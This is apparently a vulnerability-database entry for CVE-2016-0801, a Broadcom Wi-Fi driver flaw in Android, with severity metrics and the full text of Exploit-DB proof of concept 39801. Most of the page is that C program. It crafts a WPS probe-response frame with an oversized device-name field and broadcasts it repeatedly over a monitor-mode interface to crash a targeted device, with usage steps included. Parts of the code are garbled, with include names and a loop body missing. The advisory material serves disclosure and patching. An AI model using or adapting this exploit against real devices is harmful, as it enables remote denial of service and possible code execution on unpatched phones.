CVE-2016-0801

Score / Severity

9.8

CRITICAL

OWSAP

A03-Injection

EPSS

6.3%V3

Vector

Network

Published

2016-02-07 00:00 +00:00

Last Modified

2018-11-13 09:57 +00:00

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Descriptions

The Broadcom Wi-Fi driver in the kernel in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49G, and 6.x before 2016-02-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted wireless control message packets, aka internal bug 25662029.

Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-20	Improper Input Validation The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metric	Score	Severity	CVSS Vector	Source
V3.0	9.8	CRITICAL	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	nvd@nist.gov
V2	8.3		AV:A/AC:L/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 39801

Publication date : 2016-05-10 22:00 +00:00
Author : AbdSec
EDB Verified : No

/* * Copyright (C) 2016 by AbdSec Core Team * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ /* USAGE # airmon-ng start wlan0 # gcc -o wps wps.c -Wall -O2 -DDEBUG -DSHOW # ./wps Total Wps Length: 118 [99] SSID: DON'T_CONNECT DEST: ff ff ff ff ff ff Sending Packet (315 byte) ... ... */ /* This is a proof of concept for CVE-2016-0801 Bug the program proceeds as follows: o A new WPS Probe Response packet is generated. o The device_name field of this packet is filled with some string that's longer than hundered characters. o This packet is broadcasted on the network( interface needs to be on monitor mode for this to work). At this point the device picking up this packet, identified by its mac address(DESTINATION_MAC), should have crashed. the following patch shows how contributor fixed the bug https://android.googlesource.com/kernel/msm/+/68cdc8df1cb6622980b791ce03e99c255c9888af%5E!/#F0 Wireshark filter for displaying PROBE RESPONSE packets: wlan.fc.type_subtype == 0x05 Reference WPS Architecture: http://v1ron.ru/downloads/docs/Wi-Fi%20Protected%20Setup%20Specification%201.0h.pdf Acımasız Tom'a Sevgilerle :) */ #include #include #include #include #include #include #include #include #include #include #define calc_size(x) (sizeof(x) - 2) #define reverse8(x) (x<<4&0xf0) | ((x>>4)&0x0f) /* 0XAB becomes 0XBA */ #define reverse16(x) (x&0xff00)>>8 | (x&0x00ff)<<8 /* 0XABCD becomes 0XCDAB */ #define PROBE_REQUEST 0x04 #define PROBE_RESPONSE 0x05 #define BEACON 0x08 #define SOURCE_MAC "\xaa\xbb\xdd\x55\xee\xcc" /* Do NOT forget to set your target's mac address */ #define DESTINATION_MAC "\xff\xff\xff\xff\xff\xfc" #define SSID "DON'T_CONNECT" /* Tag Number Definitions */ #define SSID_t 0x00 #define RATES_t 0x01 #define DS_t 0x03 #define ERP_t 0x2a #define ESR_t 0x32 #define RSN_t 0x30 #define HTC_t 0x2d #define HTI_t 0x3d #define VENDOR_t 0xdd #define OUI_AES "\x00\x0f\xac" #define OUI_Microsof "\x00\x50\xf2" /* Data Element Type Definitions for WPS Probe Response */ #define VERSION 0x104a #define WPS_STATE 0x1044 #define SELECTED_REGISTRAR 0x1041 #define DEVICE_PASSWORD_ID 0x1012 #define SELECTED_REGISTRAR_CONFIG_METHODS 0x1053 #define RESPONSE_TYPE 0x103b #define UUID_E 0x1047 #define MANUFACTURER 0x1021 #define MODEL_NAME 0x1023 #define MODEL_NUMBER 0x1024 #define SERIAL_NUMBER 0x1042 #define PRIMARY_DEVICE_TYPE 0x1054 #define WPS_ID_DEVICE_NAME 0x1011 #define CONFIG_METHODS 0x1008 /* Just cloned from a sniffed packet */ #define RATES_v "\x82\x84\x8b\x96" #define ESRATES_v "\x8c\x12\x98\x24\xb0\x48\x60\x6c" /* Wps Version */ #define WV 0x10 /* Wps State */ #define WS 0x01 /* Selected Registrar */ #define SR 0x02 /* Response Type */ #define RT 0x03 /* For Device Password ID */ #define PIN 0x0000 /* For Selected Registrar Config Methods */ #define SRCM 0x018c /* For Config Methods */ #define CM 0x0004 /* For Broadcast */ #define DELAY 200000 /* !!! Monitor mode on !!!*/ #define IFACE "mon0" #define MAX_SIZE 1024 /* Max Tag Length */ #define MAX_TL 0xff typedef uint8_t u8; typedef uint16_t u16; /* Common Tags */ typedef struct { /* Tag Number */ u8 tn; /* Tag Length */ u8 tl; } com_a; typedef struct { u8 oui[3]; u8 type; } com_b; typedef struct data_definition{ /* Data Element Type */ u16 det; /* Data Element Length */ u16 del; } def; /* Common Wps Tags */ typedef struct wtag_8 { def init; u8 item; } __attribute__((packed)) wtag_a; typedef struct wtag_16 { def init; u16 item; } __attribute__((packed)) wtag_b; typedef struct wtag_point { def init; char *item; } __attribute__((packed)) wtag_c; struct ie80211_hdr { u8 type; u8 flags; u16 duration; u8 dest[6]; u8 source[6]; u8 bssid[6]; u8 fragment_no; u8 sequence_no; }; /* Dynamic Tag */ struct ssid { com_a head; u8 *ssid; }; /* Tagged Parameters */ struct Wifi_Tags { struct { com_a head; u8 rates[4]; } rates; struct { com_a head; u8 channel; } ds; struct { com_a head; u8 erp_info; } erp_info; /* Extended Support Rates */ struct { com_a head; u8 rates[8]; } esr; struct { com_a head; u16 version; /* Group Chipher Suite */ com_b gcp; u16 pcs_count; /* Pairwise Chipher Suite */ com_b pcs; u16 akm_count; /* Auth Key Management */ com_b akm; u16 rsn; } rsn_info; struct { com_a head; com_b wpa_o; u16 version; /* Multi Chipher Suite */ com_b mcs; u16 ucs_count; /* Unicast Chipher Suite */ com_b ucs; /* Auth Key Management */ u16 akm_count; com_b akm; } wpa; struct { com_a head; u16 info; u8 mpdu; u8 scheme[16]; u16 capabilities; u16 transmit; u8 asel; } ht_capabilites __attribute__((packed)); struct { com_a head; u8 channel; u8 subset1; u16 subset2; u16 subset3; u8 scheme[16]; } ht_info; }; /* * WPS Tag Probe Response */ struct WPSProbeRespIe { com_a head; com_b wps_o; wtag_a version; /* Wifi Protected Setup State */ wtag_a wpss; /* Selected Registrar */ wtag_a sreg; /* Device Password Id */ wtag_b dpi; /* Selected Registrar Config Methods */ wtag_b srcm; /* Response Type */ wtag_a resp; /* uuid 16 byte */ wtag_c uuid; /* Manufacturer */ wtag_c man; /* Model Name */ wtag_c mname; /* Model Number */ wtag_c numb; /* Serial Number */ wtag_c serial; /* Primary_device_type */ wtag_c dev_type; /* Device Name */ wtag_c dname; /* Config Methods */ wtag_b cmeth; }; /* wtag_c pointer is address list from WPSProbeRespIE */ static long wtag_c_point[7]; /* Insert WPS Frames In Line With Types */ static void inwps_a( wtag_a *tag, u16 det, u8 par ) { tag->init.det = reverse16(det); tag->init.del = reverse16(0x01); tag->item = par; } static void inwps_b( wtag_b *tag, u16 det, u16 par ) { tag->init.det = reverse16(det); tag->init.del = reverse16(0x02); tag->item = reverse16(par); } static void inwps_c( wtag_c *tag, u16 det, char *par ) { static int counter = 0; int i = strlen(par); i = i > MAX_TL ? MAX_TL : i; tag->item = ( char * ) calloc( i, sizeof(char) ); tag->init.det = reverse16(det); tag->init.del = reverse16(i); strncpy( tag->item, par, i ); wtag_c_point[counter++] = (long )(void *)&(tag->item); } /* Convert 'struct WPSProbeRespIe' to bytearray */ int wtoa( char *pop, struct WPSProbeRespIe *tag ) { unsigned char *a = (void *)tag; char *tmp; long tmp_a; int i = 0, p = 0, co = 0, j; int size = sizeof(struct WPSProbeRespIe); while( p < size ) { if( wtag_c_point[co] == (long)(a+p) ){ assert(co++ < 7); tmp_a = 0; for( j = 0; j < 32; j+=8 ) tmp_a |= *(a+p++)<head.tl */ pop[1] = i-2; assert(i <= MAX_TL+1); /* i is array length */ return( i ); } struct WPSProbeRespIe * set_wps_probe_response(void) { struct WPSProbeRespIe *wps = ( struct WPSProbeRespIe * ) \ malloc( sizeof(struct WPSProbeRespIe) ); char *uuid = calloc( MAX_TL, sizeof(char) ); char *manufacturer = calloc( MAX_TL, sizeof(char) ); char *model_name = calloc( MAX_TL, sizeof(char) ); char *model_number = calloc( MAX_TL, sizeof(char) ); char *serial_number = calloc( MAX_TL, sizeof(char) ); char *device_type = calloc( MAX_TL, sizeof(char) ); char *device_name = calloc( MAX_TL, sizeof(char) ); /* * Fill them as you wish, but do NOT exceed * 0xff (256 bytes) length */ memset( uuid, 'B', 16 ); memset( manufacturer, 'A', 8 ); memset( model_name, 'D', 8 ); memset( model_number, 'B', 8 ); memset( serial_number,'O', 8 ); memset( device_type, 'Y', 8 ); memset( device_name, 'S', 128 ); /* For Broadcom CVE-2016-0801 > 100 */ /* Tag Number Vendor Specific */ wps->head.tn = VENDOR_t; /* The length will calculate after it packages */ wps->head.tl = 0x00; /* OUI: Microsof */ memcpy( wps->wps_o.oui, OUI_Microsof, sizeof(OUI_Microsof)); wps->wps_o.type = 0x04; inwps_a( &wps->version, VERSION, WV ); inwps_a( &wps->wpss, WPS_STATE, WS ); inwps_a( &wps->sreg, SELECTED_REGISTRAR, SR ); inwps_b( &wps->dpi, DEVICE_PASSWORD_ID, PIN ); inwps_b( &wps->srcm, SELECTED_REGISTRAR_CONFIG_METHODS, SRCM ); inwps_a( &wps->resp, RESPONSE_TYPE, RT ); inwps_c( &wps->uuid, UUID_E, uuid ); inwps_c( &wps->man, MANUFACTURER, manufacturer ); inwps_c( &wps->mname, MODEL_NAME, model_name ); inwps_c( &wps->numb, MODEL_NUMBER, model_number ); inwps_c( &wps->serial, SERIAL_NUMBER, serial_number ); inwps_c( &wps->dev_type, PRIMARY_DEVICE_TYPE, device_type ); inwps_c( &wps->dname, WPS_ID_DEVICE_NAME, device_name ); inwps_b( &wps->cmeth, CONFIG_METHODS, CM ); free( uuid ); free( manufacturer ); free( model_name ); free( model_number ); free( serial_number ); free( device_type ); free( device_name ); return( wps ); } int create_wifi(char *pop) { /* * struct for radiotap_hdr and fixed_hdr are missing */ char radiotap_hdr[26]; char fixed_hdr[12]; struct ie80211_hdr *ie = calloc( sizeof(struct ie80211_hdr), 1 ); struct Wifi_Tags *tag = calloc( sizeof(struct Wifi_Tags), 1 ); struct ssid *ssid; int i, len = 0; memset( radiotap_hdr, 0, sizeof(radiotap_hdr) ); radiotap_hdr[2] = 26; /* Header Length */ memset( fixed_hdr, 'A', sizeof(fixed_hdr) ); ie->type = reverse8(PROBE_RESPONSE); memcpy( ie->dest, DESTINATION_MAC, 6 ); memcpy( ie->source, SOURCE_MAC, 6 ); memcpy( ie->bssid, SOURCE_MAC, 6 ); i = strlen( SSID ); ssid = calloc( i+2, 1 ); ssid->head.tn = SSID_t; ssid->head.tl = i; ssid->ssid = calloc(i,1); memcpy( ssid->ssid, SSID, i ); tag->rates.head.tn = RATES_t; tag->rates.head.tl = calc_size(tag->rates); memcpy(tag->rates.rates, RATES_v, sizeof(tag->rates.rates)); tag->ds.head.tn = DS_t; tag->ds.head.tl = calc_size(tag->ds); tag->ds.channel = 1; tag->erp_info.head.tn = ERP_t; tag->erp_info.head.tl = calc_size(tag->erp_info); tag->erp_info.erp_info = 0x00; tag->esr.head.tn = ESR_t; tag->esr.head.tl = calc_size(tag->esr); memcpy(tag->esr.rates, ESRATES_v, sizeof(tag->esr.rates)); tag->rsn_info.head.tn = RSN_t; tag->rsn_info.head.tl = calc_size(tag->rsn_info); tag->rsn_info.version = 1; memcpy( tag->rsn_info.gcp.oui, OUI_AES, \ sizeof(tag->rsn_info.gcp.oui) ); tag->rsn_info.gcp.type = 0x04; /* AES(CCM) */ tag->rsn_info.pcs_count = 1; memcpy( tag->rsn_info.pcs.oui, OUI_AES, \ sizeof(tag->rsn_info.pcs.oui) ); tag->rsn_info.pcs.type = 0x04; /* AES(CCM) */ tag->rsn_info.akm_count = 1; memcpy( tag->rsn_info.akm.oui, OUI_AES, \ sizeof(tag->rsn_info.akm.oui) ); tag->rsn_info.pcs.type = 0x02; tag->rsn_info.rsn = 0x0000; tag->wpa.head.tn = VENDOR_t; tag->wpa.head.tl = calc_size(tag->wpa); memcpy( tag->wpa.wpa_o.oui, OUI_Microsof, \ sizeof(tag->wpa.wpa_o.oui) ); tag->wpa.wpa_o.type = 1; tag->wpa.version = 1; memcpy( tag->wpa.mcs.oui, OUI_Microsof, \ sizeof(tag->wpa.mcs.oui) ); tag->wpa.mcs.type = 0x04; tag->wpa.ucs_count = 1; memcpy( tag->wpa.ucs.oui, OUI_Microsof, \ sizeof(tag->wpa.ucs.oui) ); tag->wpa.ucs.type = 0x04; tag->wpa.akm_count = 1; memcpy( tag->wpa.akm.oui, OUI_Microsof, \ sizeof(tag->wpa.akm.oui) ); tag->wpa.akm.type = 0x02; tag->ht_capabilites.head.tn = HTC_t; tag->ht_capabilites.head.tl = calc_size(tag->ht_capabilites); tag->ht_capabilites.info = 0x104e; tag->ht_capabilites.mpdu = 0x1f; tag->ht_capabilites.scheme[0] = 0xff; tag->ht_capabilites.scheme[1] = 0xff; tag->ht_capabilites.capabilities = 0x0004; tag->ht_info.head.tn = HTI_t; tag->ht_info.head.tl = calc_size(tag->ht_info); tag->ht_info.channel = 11; tag->ht_info.subset1 = 0x07; tag->ht_info.subset2 = 0x0001; tag->ht_info.scheme[0] = 0x0f; memcpy( pop, radiotap_hdr, sizeof(radiotap_hdr) ); memcpy( &pop[len+=sizeof(radiotap_hdr)], \ (u8 *)ie, sizeof(struct ie80211_hdr) ); memcpy( &pop[len+=sizeof(struct ie80211_hdr)], \ fixed_hdr, sizeof(fixed_hdr) ); memcpy( &pop[len+=sizeof(fixed_hdr)], \ (u8 *)&ssid->head, 2 ); memcpy( &pop[len+=2], ssid->ssid, i ); memcpy( &pop[len+=i], (u8 *) tag, \ sizeof(struct Wifi_Tags) ); len+=sizeof(struct Wifi_Tags); free( ssid ); free( tag ); free( ie ); return (len); } int broadcast(char *packet, int len) { struct sockaddr_ll sll; struct ifreq ifr; struct iwreq iwr; int sock, ret, count = 100; sock = socket( AF_PACKET, SOCK_RAW, 0x300 ); if(sock < 0){ perror("socket() failed"); exit(EXIT_FAILURE); } memset( &ifr, 0, sizeof(ifr) ); strncpy( ifr.ifr_name, IFACE, sizeof(ifr.ifr_name) ); if( ioctl( sock, SIOCGIFINDEX, &ifr ) < 0 ){ perror( "ioctl(SIOCGIFINDEX) failed" ); close(sock); exit(EXIT_FAILURE); } memset( &sll, 0, sizeof(sll) ); sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; if( ioctl( sock, SIOCGIFHWADDR, &ifr ) < 0 ) { perror( "ioctl(SIOCGIFHWADDR) failed" ); close(sock); exit(EXIT_FAILURE); } memset( &iwr, 0, sizeof( struct iwreq ) ); strncpy( iwr.ifr_name, IFACE, IFNAMSIZ ); if( ioctl( sock, SIOCGIWMODE, &iwr ) < 0 ) iwr.u.mode = IW_MODE_MONITOR; ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING; if ( (ioctl(sock, SIOCGIFFLAGS, &ifr)) < 0 ){ perror("ioctl(SIOCGIFFLAGS) failed"); close(sock); exit(EXIT_FAILURE); } if( bind( sock, (struct sockaddr *) &sll, sizeof( sll ) ) < 0 ) { perror( "bind() failed" ); close(sock); exit(EXIT_FAILURE); } while( count-- ){ #ifdef SHOW int i; printf("\n\033[34m [\033[31m%d\033[34m] \033[33m", count); printf("\tSSID: %s\n", SSID); printf("\tDEST: "); for(i=0;i<6;i++) printf("%02x ", DESTINATION_MAC[i]&0xff); printf("\n\tSending Packet (%d byte) ...\033[0m\n", len); #endif ret = write( sock, packet, len ); if( ret < 0 ){ perror("write() failed"); close( sock ); exit(EXIT_FAILURE); } usleep( DELAY ); } return 0; } int main(void) { char *packet = (char *) calloc( MAX_SIZE, sizeof(char) ); struct WPSProbeRespIe *wps; int len; len = create_wifi( packet ); wps = set_wps_probe_response(); len += wtoa( &packet[len], wps ); broadcast( packet, len ); free( wps ); free( packet ); return 0; }